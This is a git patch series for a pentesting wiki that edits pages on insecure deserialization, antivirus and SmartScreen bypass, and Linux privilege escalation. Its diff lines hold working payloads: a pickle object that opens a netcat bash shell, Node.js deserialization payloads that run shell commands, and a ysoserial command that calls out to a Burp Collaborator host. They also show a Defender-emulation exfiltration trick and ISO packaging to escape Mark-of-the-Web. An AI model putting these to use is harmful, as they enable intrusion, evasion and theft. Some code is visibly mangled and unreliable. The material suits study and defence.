{{#include ../banners/hacktricks-training.md}} From 3db7d5f74f53b8ad24349145d319bb97fa1fb176 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Wed, 3 Sep 2025 12:59:34 +0200 Subject: [PATCH 12/13] Drop unwanted changes in deserialization/README.md and av-bypass.md --- src/pentesting-web/deserialization/README.md | 493 +------------------ src/windows-hardening/av-bypass.md | 56 ++- 2 files changed, 45 insertions(+), 504 deletions(-) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 08b02f21f..03ddc8fc8 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -178,211 +178,6 @@ As soon as the admin viewed the entry, the object was instantiated and `SomeClas --- -# Deserialization - - - -## Basic Information - -**Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state. - -**Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object. - -Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process. - -## PHP - -In PHP, specific magic methods are utilized during the serialization and deserialization processes: - -- `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks. -- `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. -- `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`. -- `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections. -- `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object. - -```php -s.'
'; - } - public function __toString() - { - echo '__toString method called'; - } - public function __construct(){ - echo "__construct method called"; - } - public function __destruct(){ - echo "__destruct method called"; - } - public function __wakeup(){ - echo "__wakeup method called"; - } - public function __sleep(){ - echo "__sleep method called"; - return array("s"); #The "s" makes references to the public attribute - } -} - -$o = new test(); -$o->displaystring(); -$ser=serialize($o); -$unser=unserialize($ser); -$unser->displaystring(); -``` - -If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**. - -> [!WARNING] -> The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization. -> -> ```php -> class MyClass { -> private $property; -> -> public function __unserialize(array $data): void { -> $this->property = $data['property']; -> // Perform any necessary tasks upon deserialization. -> } -> } -> ``` - -You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) - -### PHP Deserial + Autoload Classes - -You could abuse the PHP autoload functionality to load arbitrary php files and more: - - -{{#ref}} -php-deserialization-+-autoload-classes.md -{{#endref}} - -### Serializing Referenced Values - -If for some reason you want to serialize a value as a **reference to another value serialized** you can: - -```php -param1 =& $o->param22; -$o->param = "PARAM"; -$ser=serialize($o); -``` - -### Preventing PHP Object Injection with `allowed_classes` - -> [!INFO] -> Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated. - -`unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise. Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option: - -```php -// NEVER DO THIS – full object instantiation -$object = unserialize($userControlledData); - -// SAFER – disable object instantiation completely -$object = unserialize($userControlledData, [ - 'allowed_classes' => false // no classes may be created -]); - -// Granular – only allow a strict white-list of models -$object = unserialize($userControlledData, [ - 'allowed_classes' => [MyModel::class, DateTime::class] -]); -``` - -If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE). - -#### Real-world example: Everest Forms (WordPress) CVE-2025-52709 - -The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions: - -```php -function evf_maybe_unserialize($data, $options = array()) { - if (is_serialized($data)) { - if (version_compare(PHP_VERSION, '7.1.0', '>=')) { - // SAFE branch (PHP ≥ 7.1) - $options = wp_parse_args($options, array('allowed_classes' => false)); - return @unserialize(trim($data), $options); - } - // DANGEROUS branch (PHP < 7.1) - return @unserialize(trim($data)); - } - return $data; -} -``` - -On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like: - -``` -O:8:"SomeClass":1:{s:8:"property";s:28:"";} -``` - -As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution. - -**Take-aways** -1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`. -2. Audit defensive wrappers – they often forget about the legacy PHP branches. -3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly. - ---- - -### WordPress behaviours: maybe_unserialize() and object smuggling - -WordPress automatically attempts to unserialize any string that “looks serialized” via `maybe_unserialize()`: - -```php -function maybe_unserialize($original) { - if (is_serialized($original)) - return @unserialize($original); - return $original; -} -``` - -Two practical exploitation patterns from large plugin ecosystems: - -- Serialize-then-replace: mutating serialized blobs using string ops (e.g., `str_replace()`) desynchronizes type/length pairs and allows smuggling of unexpected objects. - -```php -// 1) craft payload -$user = 'orange'; -$pass = ';s:8:"password";O:4:"Evil":0:{}s:8:"realname";s:5:"pwned'; -$name = 'Orange Tsai' . str_repeat('..', 25); -$obj = new User($user, $pass, $name); -$data = serialize($obj); - -// 2) developer mutates serialized blob -$data = str_replace("..", "", $data); - -// 3) length corruption → 'password' becomes Evil object on unserialize -print_r(unserialize($data)); -``` - -- Double-prepare SQLi side-effect: calling `$wpdb->prepare()` twice lets format tokens be reinterpreted (restores SQLi). WordPress mitigates by hiding `%` with placeholders that are later restored; if such placeholders travel inside serialized blobs, restoring them can corrupt lengths and lead to unexpected `unserialize()` with POP gadgets (PHPGGC). - -```php -$value = "%1$%s OR 1=1--#"; -$clause = $wpdb->prepare(" AND value = %s", $value); -$query = $wpdb->prepare("SELECT col FROM table WHERE key = %s $clause", $key); -``` - -### Bypassing `__wakeup()` guards - -- Engine quirk: PHP Bug [#72663](https://bugs.php.net/bug.php?id=72663) shows edge cases where `__wakeup()` can be skipped, breaking defenses that moved checks there. -- Reference-based tricks: gadget chains that set dangerous properties by reference so that a defensive `__wakeup()` that nulls properties does not neutralize the actual data used later in `__destruct()`. - -### "Holy Grail" deserialization: memory-level primitives - -Research progressed from early zval forgery to PHP 7 heap primitives and real UAFs (e.g., Bug [#68942](https://bugs.php.net/bug.php?id=68942)), demonstrating that the core should not be treated as a security boundary: once a serialization bug crosses into memory corruption, object injection can be escalated to RCE without application gadgets. - ### PHPGGC (ysoserial for PHP) [**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\ @@ -477,292 +272,6 @@ test_then() If you want to learn about this technique **take a look to the following tutorial**: -{{#ref}} -nodejs-proto-prototype-pollution/ -{{#endref}} - -### [node-serialize](https://www.npmjs.com/package/node-serialize) - -This library allows to serialise functions. Example: - -```javascript -var y = { - rce: function () { - require("child_process").exec("ls /", function (error, stdout, stderr) { - console.log(stdout) - }) - }, -} -var serialize = require("node-serialize") -var payload_serialized = serialize.serialize(y) -console.log("Serialized: \n" + payload_serialized) -``` - -The **serialised object** will looks like: - -```bash -{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} -``` - -You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object. - -Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it. - -![](<../../images/image (351).png>) - -![](<../../images/image (446).png>) - -As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**. - -However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\ -Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\ -In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code: - -```javascript -var serialize = require("node-serialize") -var test = { - rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()", -} -serialize.unserialize(test) -``` - -As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example: - -```javascript -var serialize = require("node-serialize") -var test = - "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" -serialize.unserialize(test) -``` - -You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability. - -### [funcster](https://www.npmjs.com/package/funcster) - -A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used. - -Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet: - -```javascript -funcster = require("funcster") -//Serialization -var test = funcster.serialize(function () { - return "Hello world!" -}) -console.log(test) // { __js_function: 'function(){return"Hello world!"}' } - -//Deserialization with auto-execution -var desertest1 = { __js_function: 'function(){return "Hello world!}()' } -funcster.deepDeserialize(desertest1) -var desertest2 = { - __js_function: 'this.constructor.constructor("console.log(1111)")()', -} -funcster.deepDeserialize(desertest2) -var desertest3 = { - __js_function: - "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()", -} -funcster.deepDeserialize(desertest3) -``` - -**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** - -### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) - -The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data: - -```javascript -function deserialize(serializedJavascript) { - return eval("(" + serializedJavascript + ")") -} -``` - -If this function is used to deserialize objects you can **easily exploit it**: - -```javascript -var serialize = require("serialize-javascript") -//Serialization -var test = serialize(function () { - return "Hello world!" -}) -console.log(test) //function() { return "Hello world!" } - -//Deserialization -var test = - "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" -deserialize(test) -``` - -**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** - -### Cryo library - -In the following pages you can find information about how to abuse this library to execute arbitrary commands: - -- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) -- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) - -## Java - HTTP - -In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions. - -### Fingerprints - -#### White Box - -To identify potential serialization vulnerabilities in the codebase search for: - -- Classes that implement the `Serializable` interface. -- Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions. - -Pay extra attention to: - -- `XMLDecoder` utilized with parameters defined by external users. -- `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues. -- `ObjectInputStream` coupled with the `readObject` method. -- Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`. -- `ObjectInputStream.readUnshared`. -- General use of `Serializable`. - -#### Black Box - -For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`): - -- Hexadecimal pattern: `AC ED 00 05`. -- Base64 pattern: `rO0`. -- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`. -- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`. -- Base64 pattern indicating prior compression: `H4sIA`. -- Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md). - -``` -javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s -``` - -### Check if vulnerable - -If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). - -#### White Box Test - -You can check if there is installed any application with known vulnerabilities. - -```bash -find . -iname "*commons*collection*" -grep -R InvokeTransformer . -``` - -You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ -You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ -When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**. - -#### Black Box Test - -Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ -[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -GadgetProbe is focused on **`ObjectInputStream` deserializations**. - -Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\ -[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations. - -You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ -[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) - -**Serialization Test** - -Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\ -If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks. - -### **Exploit** - -#### **ysoserial** - -The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\ -Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\ -I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. - -```bash -# PoC to make the application perform a DNS req -java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload -``` - -### **Pickle** - -When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\ -When exploited, server could return an error. - -```python -import pickle, os, base64 -class P(object): - def __reduce__(self): - return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) -print(base64.b64encode(pickle.dumps(P()))) -``` - -Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3. - -For more information about escaping from **pickle jails** check: - - -{{#ref}} -../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ -{{#endref}} - -### Yaml **&** jsonpickle - -The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**: - - -{{#ref}} -python-yaml-deserialization.md -{{#endref}} - -### Class Pollution (Python Prototype Pollution) - - -{{#ref}} -../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md -{{#endref}} - -## NodeJS - -### JS Magic Functions - -JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\ -If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called. - -Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._ - -```javascript -// If you can compromise p (returned object) to be a promise -// it will be executed just because it's the return object of an async function: -async function test_resolve() { - const p = new Promise((resolve) => { - console.log("hello") - resolve() - }) - return p -} - -async function test_then() { - const p = new Promise((then) => { - console.log("hello") - return 1 - }) - return p -} - -test_ressolve() -test_then() -//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ -``` - -### `__proto__` and `prototype` pollution - -If you want to learn about this technique **take a look to the following tutorial**: - - {{#ref}} nodejs-proto-prototype-pollution/ {{#endref}} @@ -1223,7 +732,6 @@ The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect - JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) -- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ## .Net @@ -1640,3 +1148,4 @@ Industrialized gadget discovery: - Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 1b0f2dc01..4fefb8dc1 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -356,23 +356,56 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them -## AVOracle – Defender emulation side‑channel (exfiltration) +## SmartScreen & MoTW -Windows Defender will emulate files that “look like JavaScript.” If the emulated evaluation produces the EICAR signature string, the file is deleted/quarantined. By crafting mixed content where attacker-controlled JS reads unknown content and conditionally appends to the EICAR string, the deletion becomes a 1‑bit oracle that leaks secrets. +You may have seen this screen when downloading some executables from the internet and executing them. -Minimal PoC concept: +Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications. -```js -// sample.txt – treated as JS by Defender’s emulator -var mal = "EICAR-STANDARD-ANTIVIRUS-TEST-FILE"; -// Append '!' only if the first byte of secret matches expectation -var c = document.body.innerHTML[0] == 'A' ? '!' : ''; -eval(mal + c); +
+ +SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway). + +**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream]() with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from. + +

Checking the Zone.Identifier ADS for a file downloaded from the internet.

+ +> [!TIP] +> It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**. + +A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes. + +
+ +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web. + +Example usage: + +```bash +PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + ++ o + o + o + o + + o + + o + + + o + + + o + + o +-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o + :: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ + for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + +-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' '' ++ o o + o + o o + o ++ o + o ~ Mariusz Banach / mgeeky o +o ~ + ~ + o + o + + + +[.] Packaging input file to output .iso (iso)... +Burning file onto ISO: + Adding file: /TotallyLegitApp.exe + +[+] Generated file written to (size: 3420160): container.iso ``` -If the condition is true, the emulator sees the full EICAR string and deletes/quarantines the file → signal = 1. Otherwise the file survives → signal = 0. Repeating with different predicates reconstructs the secret data (HTML variant shown above; similar tricks apply to JS on disk). +Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) -Impact: exfiltration of otherwise unreadable secrets via AV behavior. This is a detection evasion concern too (security tooling affecting integrity). See reference for full details and variations. +
## ETW @@ -872,6 +905,5 @@ References for PPL and tooling - [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) -- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../banners/hacktricks-training.md}} From b883a0d5c41df4723ab830fb436d8d9bc97eab23 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 13:09:05 +0200 Subject: [PATCH 13/13] Update README.md --- src/linux-hardening/privilege-escalation/README.md | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 852a7619b..1d5a0d5ea 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -440,16 +440,6 @@ Bash performs parameter expansion and command substitution before arithmetic eva # When the root cron parser evaluates (( total += count )), your command runs as root. ``` -- Preconditions: - - You can cause a line you control to be written into the log consumed by the root script. - - The script evaluates an untrusted variable inside ((...)), $((...)) or let. - -- Mitigations (for defenders): - - Never use arithmetic evaluation on untrusted strings. Validate first: `[[ $count =~ ^[0-9]+$ ]] || continue`. - - Prefer integer-safe parsing with awk or mapfile and explicit regex checks. - - Run log parsers as least-privileged users; never as root unless strictly necessary. - - ### Cron script overwriting and symlink If you **can modify a cron script** executed by root, you can get a shell very easily: